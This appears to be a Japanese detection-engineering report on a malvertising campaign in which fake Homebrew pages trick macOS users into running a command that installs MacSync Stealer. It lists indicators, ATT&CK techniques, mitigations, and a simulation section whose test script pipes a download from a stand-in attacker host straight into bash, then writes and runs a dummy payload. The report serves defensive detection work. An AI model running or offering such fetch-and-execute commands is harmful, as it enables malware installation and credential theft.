偽のHomebrew広告がMacSync Stealer感染につながる
Detection stack
- AIDR
- Alert
- ETL
- Query
サマリー
攻撃者は悪意のある検索広告を使用して、ユーザーを偽のHomebrewウェブサイトに誘導し、MacSync Stealerを使用してmacOSシステムを攻撃しています。この模倣されたページは、被害者にシェルコマンドをコピーして実行するよう指示し、マルウェアをダウンロードして起動します。アクティブになると、スティーラーは認証情報やシステムの詳細を収集し、盗まれたデータをZIPファイルに圧縮し、コマンドアンドコントロールサーバーに送信します。このキャンペーンは、macOSユーザーを危険にさらすためにマルバタイジングが増加していることを示しています。
調査
アナリストは悪意のある広告からGoogle Sitesにホストされた偽のHomebrewページへの攻撃を追跡しました。そのページは、実行すると、攻撃者が制御するインフラから追加スクリプトをダウンロードし、収集されたデータを含む一時的なZIPアーカイブを作成する zsh コマンドを示しました。ネットワークトラフィックは、アーカイブがドメイン glowmedaesthetics.com に送信されたことを確認しました。研究者たちは、感染チェーンに関連付けられたURL、ドメイン、ファイルパスを含む関連するインジケーターを文書化しました。
緩和策
ユーザーは信頼できないウェブサイトからコマンドをコピーして実行することを避け、対話する前にパッケージマネージャーページの正当性を確認する必要があります。広告ブロッカーやセキュリティ重視のブラウザー拡張機能は、悪意のあるスポンサーリンクへの接触を減らすのに役立ちます。macOSでは、Gatekeeperを有効にしたままにし、アプリケーションの実行を信頼できる署名付きソフトウェアに限定するべきです。ディフェンダーはまた、未知のドメインへの接続に対してアウトバウンドトラフィックを監視するべきです。
対応
セキュリティチームは、疑わしい zsh コマンドの実行と curl 活動が特定された悪意のあるURLに達した場合を検出すべきです。また、 /tmp/osalogging.zip アーカイブの作成とへのアウトバウンドトラフィックを警告生成する必要があります。 glowmedaesthetics.com感染が疑われる場合は、影響を受けたシステムを隔離し、フォレンジック証拠を収集し、侵害された資格情報をリセットします。
"graph TB %% Class Definitions classDef technique fill:#99ccff %% Node definitions initial_malicious_link["<b>Technique</b> – <b>T1204.001 Malicious Link</b><br/><b>Description</b>: 被害者が広告の悪意のあるURLをクリックし、偽のHomebrewダウンロードページに誘導される。"] class initial_malicious_link technique user_copy_paste["<b>Technique</b> – <b>T1204.004 Malicious Copy and Paste</b><br/><b>Description</b>: 被害者がウェブページから作成されたスクリプトをコピーし、ターミナルに貼り付けることで攻撃者コードを実行する。"] class user_copy_paste technique unix_shell["<b>Technique</b> – <b>T1059.004 Unix Shell</b><br/><b>Description</b>: Zshスクリプトが実行され、glowmedaesthetics.comから追加のペイロードをダウンロードする。"] class unix_shell technique gui_input_capture["<b>Technique</b> – <b>T1056.002 GUI Input Capture</b><br/><b>Description</b>: 偽のグラフィカルパスワードプロンプトがmacOSユーザーのパスワードをキャプチャする。"] class gui_input_capture technique local_data_staging["<b>Technique</b> – <b>T1074.001 Local Data Staging</b><br/><b>Description</b>: システム情報とログが抽出のために/tmp/osalogging.zipにアーカイブされる。"] class local_data_staging technique exfiltration_c2["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/><b>Description</b>: ZIPファイルがHTTPSを介して攻撃者のC2サーバーに送信される。"] class exfiltration_c2 technique gather_software_info["<b>Technique</b> – <b>T1592.002 Software</b><br/><b>Description</b>: スクリプトがインストールされたソフトウェアを列挙し、被害者のホストのインベントリを作成する。"] class gather_software_info technique data_local_system["<b>Technique</b> – <b>T1005 Data from Local System</b><br/><b>Description</b>: 抽出されたアーカイブに含めるために追加のローカルファイルを読み込む。"] class data_local_system technique %% Connections initial_malicious_link –>|leads_to| user_copy_paste user_copy_paste –>|leads_to| unix_shell unix_shell –>|leads_to| gui_input_capture gui_input_capture –>|leads_to| local_data_staging local_data_staging –>|leads_to| exfiltration_c2 local_data_staging –>|also leads_to| gather_software_info local_data_staging –>|also leads_to| data_local_system "
攻撃の流れ
シミュレーション実行
前提条件:テレメトリーとベースラインの事前フライトチェックが合格している必要があります。
理論的根拠:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目的としています。
-
攻撃の説明とコマンド:
-
初期の誘惑: 被害者は、悪意のあるインストールスクリプトをホストする偽のHomebrew「タップ」ページへのリンクを含むフィッシングメールを受け取ります。
-
実行: 被害者はページから1行をコピーし、彼らのターミナルに貼り付けます:
curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash- The
curlバイナリが呼び出される(ルールと一致)。
- The
-
ダウンローダースクリプト(
macsyncloader.sh):- MacSyncペイロードをダウンロード
curl. - ペイロードをに書き込みます
/tmp/.macsyncそしてそれを実行します。 - 資格情報を盗むダイアログを表示します(
osascriptを通じてmacOSでシミュレーションされますが、ここでは単にエコーします)。
- MacSyncペイロードをダウンロード
-
持続性: スクリプトはログイン時に実行されるLaunchAgentを登録します(現行のルール範囲外ですが、より広範な検出に関連します)。
-
-
回帰テストスクリプト: 以下のBashスクリプトは、正確なステップを再現し、テレメトリーが検出ロジックに一致することを保証します。
#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Simulated attacker-controlled script host # ------------------------------------------------- MALICIOUS_HOST="https://malicious.example.com" LOADER="${MALICIOUS_HOST}/macsyncloader.sh" # ------------------------------------------------- # Step 1: Download and execute the malicious loader # ------------------------------------------------- echo "[*] Triggering detection rule by invoking curl ..." curl -fsSL "$LOADER" | /bin/bash # ------------------------------------------------- # Step 2: (Inside the loader) – Simulated payload # ------------------------------------------------- # The loader would normally be fetched from the remote host. # For the purpose of this test we embed the payload inline. cat <<'PAYLOAD' > /tmp/.macsync #!/usr/bin/env bash echo "MacSync payload executed – exfiltrating host info..." # Simulate credential grab (no real data) echo "Collected credentials: user@example.com / password123" PAYLOAD chmod +x /tmp/.macsync /tmp/.macsync echo "[*] Simulation complete." -
クリーンアップコマンド: アーティファクトを削除し、残存するプロセスを終了します。
#!/usr/bin/env bash set -euo pipefail echo "[*] Cleaning up simulation artifacts ..." rm -f /tmp/.macsync # No persistent services were created in this test echo "[*] Cleanup finished."